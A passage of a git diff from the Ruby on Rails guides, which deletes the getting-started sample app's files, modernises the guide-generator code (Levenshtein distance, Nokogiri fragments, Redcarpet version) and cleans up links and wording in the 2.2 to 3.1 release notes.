-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/422.html -->
-  <div class="dialog">
-    <h1>The change you wanted was rejected.</h1>
-    <p>Maybe you tried to change something you didn't have access to.</p>
-  </div>
-  <p>If you are the application owner check the logs for more information.</p>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
deleted file mode 100644
index ccc4ad5656..0000000000
--- a/guides/code/getting_started/public/500.html
+++ /dev/null
@@ -1,57 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>We're sorry, but something went wrong (500)</title>
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-  }
-
-  div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 4em 0 4em;
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-bottom-color: #999;
-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/500.html -->
-  <div class="dialog">
-    <h1>We're sorry, but something went wrong.</h1>
-  </div>
-  <p>If you are the application owner check the logs for more information.</p>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/favicon.ico b/guides/code/getting_started/public/favicon.ico
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/public/favicon.ico
+++ /dev/null
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
deleted file mode 100644
index 1a3a5e4dd2..0000000000
--- a/guides/code/getting_started/public/robots.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
-#
-# To ban all spiders from the entire site uncomment the next two lines:
-# User-agent: *
-# Disallow: /
diff --git a/guides/code/getting_started/test/controllers/.keep b/guides/code/getting_started/test/controllers/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/controllers/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/controllers/comments_controller_test.rb b/guides/code/getting_started/test/controllers/comments_controller_test.rb
deleted file mode 100644
index 2ec71b4ec5..0000000000
--- a/guides/code/getting_started/test/controllers/comments_controller_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentsControllerTest < ActionController::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/guides/code/getting_started/test/controllers/posts_controller_test.rb b/guides/code/getting_started/test/controllers/posts_controller_test.rb
deleted file mode 100644
index 7a6ee4f1db..0000000000
--- a/guides/code/getting_started/test/controllers/posts_controller_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/guides/code/getting_started/test/controllers/welcome_controller_test.rb b/guides/code/getting_started/test/controllers/welcome_controller_test.rb
deleted file mode 100644
index dff8e9d2c5..0000000000
--- a/guides/code/getting_started/test/controllers/welcome_controller_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'test_helper'
-
-class WelcomeControllerTest < ActionController::TestCase
-  test "should get index" do
-    get :index
-    assert_response :success
-  end
-
-end
diff --git a/guides/code/getting_started/test/fixtures/.keep b/guides/code/getting_started/test/fixtures/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/fixtures/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
deleted file mode 100644
index 9e409d8a61..0000000000
--- a/guides/code/getting_started/test/fixtures/comments.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
-
-one:
-  commenter: MyString
-  body: MyText
-  post_id: 
-
-two:
-  commenter: MyString
-  body: MyText
-  post_id: 
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
deleted file mode 100644
index 46b01c3bb4..0000000000
--- a/guides/code/getting_started/test/fixtures/posts.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
-
-one:
-  title: MyString
-  text: MyText
-
-two:
-  title: MyString
-  text: MyText
diff --git a/guides/code/getting_started/test/helpers/.keep b/guides/code/getting_started/test/helpers/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/helpers/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/helpers/comments_helper_test.rb b/guides/code/getting_started/test/helpers/comments_helper_test.rb
deleted file mode 100644
index 2518c16bd5..0000000000
--- a/guides/code/getting_started/test/helpers/comments_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class CommentsHelperTest < ActionView::TestCase
-end
diff --git a/guides/code/getting_started/test/helpers/posts_helper_test.rb b/guides/code/getting_started/test/helpers/posts_helper_test.rb
deleted file mode 100644
index 48549c2ea1..0000000000
--- a/guides/code/getting_started/test/helpers/posts_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class PostsHelperTest < ActionView::TestCase
-end
diff --git a/guides/code/getting_started/test/helpers/welcome_helper_test.rb b/guides/code/getting_started/test/helpers/welcome_helper_test.rb
deleted file mode 100644
index d6ded5995f..0000000000
--- a/guides/code/getting_started/test/helpers/welcome_helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class WelcomeHelperTest < ActionView::TestCase
-end
diff --git a/guides/code/getting_started/test/integration/.keep b/guides/code/getting_started/test/integration/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/integration/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/mailers/.keep b/guides/code/getting_started/test/mailers/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/mailers/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/models/.keep b/guides/code/getting_started/test/models/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/test/models/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/test/models/comment_test.rb b/guides/code/getting_started/test/models/comment_test.rb
deleted file mode 100644
index b6d6131a96..0000000000
--- a/guides/code/getting_started/test/models/comment_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class CommentTest < ActiveSupport::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/guides/code/getting_started/test/models/post_test.rb b/guides/code/getting_started/test/models/post_test.rb
deleted file mode 100644
index 6d9d463a71..0000000000
--- a/guides/code/getting_started/test/models/post_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class PostTest < ActiveSupport::TestCase
-  # test "the truth" do
-  #   assert true
-  # end
-end
diff --git a/guides/code/getting_started/test/test_helper.rb b/guides/code/getting_started/test/test_helper.rb
deleted file mode 100644
index f91a4375dc..0000000000
--- a/guides/code/getting_started/test/test_helper.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-ENV["RAILS_ENV"] = "test"
-require File.expand_path('../../config/environment', __FILE__)
-require 'rails/test_help'
-
-class ActiveSupport::TestCase
-  ActiveRecord::Migration.check_pending!
-
-  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
-  #
-  # Note: You'll currently still have to declare fixtures explicitly in integration tests
-  # -- they do not yet inherit this setting
-  fixtures :all
-
-  # Add more helper methods to be used by all tests here...
-end
diff --git a/guides/code/getting_started/vendor/assets/javascripts/.keep b/guides/code/getting_started/vendor/assets/javascripts/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/vendor/assets/javascripts/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/vendor/assets/stylesheets/.keep b/guides/code/getting_started/vendor/assets/stylesheets/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/vendor/assets/stylesheets/.keep
+++ /dev/null
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index 33975718c9..762ab1c0e2 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -5,7 +5,7 @@ $:.unshift pwd
 def bundler?
   # Note that rake sets the cwd to the one that contains the Rakefile
   # being executed.
-  File.exists?('Gemfile')
+  File.exist?('Gemfile')
 end
 
 begin
@@ -24,11 +24,11 @@ begin
   require 'redcarpet'
 rescue LoadError
   # This can happen if doc:guides is executed in an application.
-  $stderr.puts('Generating guides requires Redcarpet 2.1.1+.')
+  $stderr.puts('Generating guides requires Redcarpet 3.2.2+.')
   $stderr.puts(<<ERROR) if bundler?
 Please add
 
-  gem 'redcarpet', '~> 2.1.1'
+  gem 'redcarpet', '~> 3.2.2'
 
 to the Gemfile, run
 
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index af9c5b8372..aa900454c8 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -184,7 +184,7 @@ module RailsGuides
     def generate?(source_file, output_file)
       fin  = File.join(source_dir, source_file)
       fout = output_path_for(output_file)
-      all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
+      all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
     end
 
     def generate_guide(guide, output_file)
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
index 760b196abd..a78c2e9fca 100644
--- a/guides/rails_guides/helpers.rb
+++ b/guides/rails_guides/helpers.rb
@@ -1,3 +1,5 @@
+require 'yaml'
+
 module RailsGuides
   module Helpers
     def guide(name, url, options = {}, &block)
@@ -37,7 +39,7 @@ module RailsGuides
     def author(name, nick, image = 'credits_pic_blank.gif', &block)
       image = "images/#{image}"
 
-      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
+      result = tag(:img, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
       result << content_tag(:h3, name)
       result << content_tag(:p, capture(&block))
       content_tag(:div, result, :class => 'clearfix', :id => nick)
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
index 09eecd5634..32926622e3 100644
--- a/guides/rails_guides/kindle.rb
+++ b/guides/rails_guides/kindle.rb
@@ -70,7 +70,7 @@ module Kindle
       File.open("sections/%03d/_section.txt" % section_idx, 'w') {|f| f.puts title}
       doc.xpath("//h3[@id]").each_with_index do |h3,item_idx|
         subsection = h3.inner_text
-        content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map {|x| x.to_html}
+        content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map(&:to_html)
         item = Nokogiri::HTML(h3.to_html + content.join("\n"))
         item_path = "sections/%03d/%03d.html" % [section_idx, item_idx] 
         add_head_section(item, subsection)
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
index 489aa3ea7a..8a908a4339 100644
--- a/guides/rails_guides/levenshtein.rb
+++ b/guides/rails_guides/levenshtein.rb
@@ -1,31 +1,39 @@
 module RailsGuides
   module Levenshtein
-    # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance
-    def self.distance(s1, s2)
-      s = s1.unpack('U*')
-      t = s2.unpack('U*')
-      m = s.length
-      n = t.length
+    # This code is based directly on the Text gem implementation
+    # Returns a value representing the "cost" of transforming str1 into str2
+    def self.distance str1, str2
+      s = str1
+      t = str2
+      n = s.length
+      m = t.length
+      max = n/2
 
-      # matrix initialization
-      d = []
-      0.upto(m) { |i| d << [i] }
-      0.upto(n) { |j| d[0][j] = j }
+      return m if (0 == n)
+      return n if (0 == m)
+      return n if (n - m).abs > max
 
-      # distance computation
-      1.upto(m) do |i|
-        1.upto(n) do |j|
-          cost = s[i] == t[j] ? 0 : 1
-          d[i][j] = [
-            d[i-1][j] + 1,      # deletion
-            d[i][j-1] + 1,      # insertion
-            d[i-1][j-1] + cost, # substitution
-          ].min
+      d = (0..m).to_a
+      x = nil
+
+      str1.each_char.each_with_index do |char1,i|
+        e = i+1
+
+        str2.each_char.each_with_index do |char2,j|
+          cost = (char1 == char2) ? 0 : 1
+          x = [
+               d[j+1] + 1, # insertion
+               e + 1,      # deletion
+               d[j] + cost # substitution
+              ].min
+          d[j] = e
+          e = x
         end
+
+        d[m] = x
       end
 
-      # all done
-      return d[m][n]
+      return x
     end
   end
 end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
index 547c6d2c15..17035069d0 100644
--- a/guides/rails_guides/markdown.rb
+++ b/guides/rails_guides/markdown.rb
@@ -47,8 +47,12 @@ module RailsGuides
       end
 
       def dom_id_text(text)
-        text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ')
-          .strip.gsub(/\s+/, '-')
+        escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"')
+
+        text.downcase.gsub(/\?/, '-questionmark')
+                     .gsub(/!/, '-bang')
+                     .gsub(/[#{escaped_chars}]+/, ' ').strip
+                     .gsub(/\s+/, '-')
       end
 
       def engine
@@ -79,10 +83,10 @@ module RailsGuides
       def generate_structure
         @headings_for_index = []
         if @body.present?
-          @body = Nokogiri::HTML(@body).tap do |doc|
+          @body = Nokogiri::HTML.fragment(@body).tap do |doc|
             hierarchy = []
 
-            doc.at('body').children.each do |node|
+            doc.children.each do |node|
               if node.name =~ /^h[3-6]$/
                 case node.name
                 when 'h3'
@@ -116,7 +120,7 @@ module RailsGuides
             end
           end
 
-          @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc|
+          @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc|
             doc.at('ol')[:class] = 'chapters'
           end.to_html
 
@@ -130,8 +134,8 @@ module RailsGuides
       end
 
       def generate_title
-        if heading = Nokogiri::HTML(@header).at(:h2)
-          @title = "#{heading.text} — Ruby on Rails Guides".html_safe
+        if heading = Nokogiri::HTML.fragment(@header).at(:h2)
+          @title = "#{heading.text} — Ruby on Rails Guides"
         else
           @title = "Ruby on Rails Guides"
         end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
index 2eb7ca17a3..554d94ad50 100644
--- a/guides/rails_guides/markdown/renderer.rb
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -23,8 +23,9 @@ HTML
       end
 
       def paragraph(text)
-        if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)/
+        if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/
           convert_notes(text)
+        elsif text.include?('DO NOT READ THIS FILE ON GITHUB')
         elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
           linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
           %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
@@ -47,10 +48,10 @@ HTML
           case code_type
             when 'ruby', 'sql', 'plain'
               code_type
-            when 'erb'
+            when 'erb', 'html+erb'
               'ruby; html-script: true'
             when 'html'
-              'xml' # html is understood, but there are .xml rules in the CSS
+              'xml' # HTML is understood, but there are .xml rules in the CSS
             else
               'plain'
           end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index 7db4cf07e7..be00087f63 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -1,7 +1,9 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 2.2 Release Notes
 ===============================
 
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
 
 Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
 
@@ -327,7 +329,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize
 The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
 
 ```ruby
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
 ```
 
 Lead Contributor: [Adam Keys](http://therealadam.com/)
@@ -366,7 +368,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da
 * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
 * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
 * The included TzInfo library has been upgraded to version 0.3.12.
-* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
 
 Railties
 --------
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
index c2002fb8fa..328656f4a4 100644
--- a/guides/source/2_3_release_notes.md
+++ b/guides/source/2_3_release_notes.md
@@ -1,14 +1,16 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 2.3 Release Notes
 ===============================
 
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
 
 --------------------------------------------------------------------------------
 
 Application Architecture
 ------------------------
 
-There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
 
 ### Rack Integration
 
@@ -594,7 +596,7 @@ The internals of the various <code>rake gem</code> tasks have been substantially
 * Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
 * Rails Guides have been converted from AsciiDoc to Textile markup.
 * Scaffolded views and controllers have been cleaned up a bit.
-* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path.
 * If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
 * Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
 
@@ -604,7 +606,7 @@ Deprecated
 A few pieces of older code are deprecated in this release:
 
 * If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
-* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master).
 * Support for Rails components has been removed.
 * If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
 * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
@@ -618,4 +620,4 @@ A few pieces of older code are deprecated in this release:
 Credits
 -------
 
-Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
index d398cd680c..9ad32e8168 100644
--- a/guides/source/3_0_release_notes.md
+++ b/guides/source/3_0_release_notes.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 3.0 Release Notes
 ===============================
 
@@ -15,7 +17,7 @@ Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is g
 
 On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
 
-These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub.
 
 --------------------------------------------------------------------------------
 
@@ -73,8 +75,6 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl
 
 Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
 
-More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade)
-
 Creating a Rails 3.0 application
 --------------------------------
 
@@ -140,7 +140,7 @@ More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/r
 
 [Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
 
-More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/)
 
 
 ### Mail Extraction
@@ -296,11 +296,11 @@ NOTE. The old style `map` commands still work as before with a backwards compati
 Deprecations
 
 * The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
-* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value.
 
 More Information:
 * [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
-* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3)
+* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0)
 * [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
 
 
@@ -310,7 +310,7 @@ More Information:
 
 Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
 
-What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
 
 ```ruby
 form_for @post, :remote => true
@@ -523,7 +523,7 @@ A large effort was made in Active Support to make it cherry pickable, that is, y
 These are the main changes in Active Support:
 
 * Large clean up of the library removing unused methods throughout.
-* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command.
 * Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
 * Added `Array.uniq_by` and `Array.uniq_by!`.
 * Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
@@ -547,7 +547,7 @@ These are the main changes in Active Support:
 * `String#to_time` and `String#to_datetime` handle fractional seconds.
 * Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
 * The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
-* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`.
 * Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
 * Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
 * `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
@@ -576,7 +576,7 @@ The following methods have been removed because they are no longer used in the f
 Action Mailer
 -------------
 
-Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
 
 * All mailers are now in `app/mailers` by default.
 * Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
@@ -610,4 +610,4 @@ Credits
 
 See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
 
-Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.)
+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net).
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index 5c99892e39..e187e5f9ab 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails 3.1 Release Notes
 ===============================
 
@@ -8,7 +10,10 @@ Highlights in Rails 3.1:
 * Assets Pipeline
 * jQuery as the default JavaScript library
 
-This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails
+repository on GitHub.
 
 --------------------------------------------------------------------------------
 
@@ -173,7 +178,7 @@ The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/spr
 
 ### HTTP Streaming
 
-HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.
 
 ### Default JS library is now jQuery
 
@@ -286,7 +291,7 @@ Action Pack
     end
     ```
 
-    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
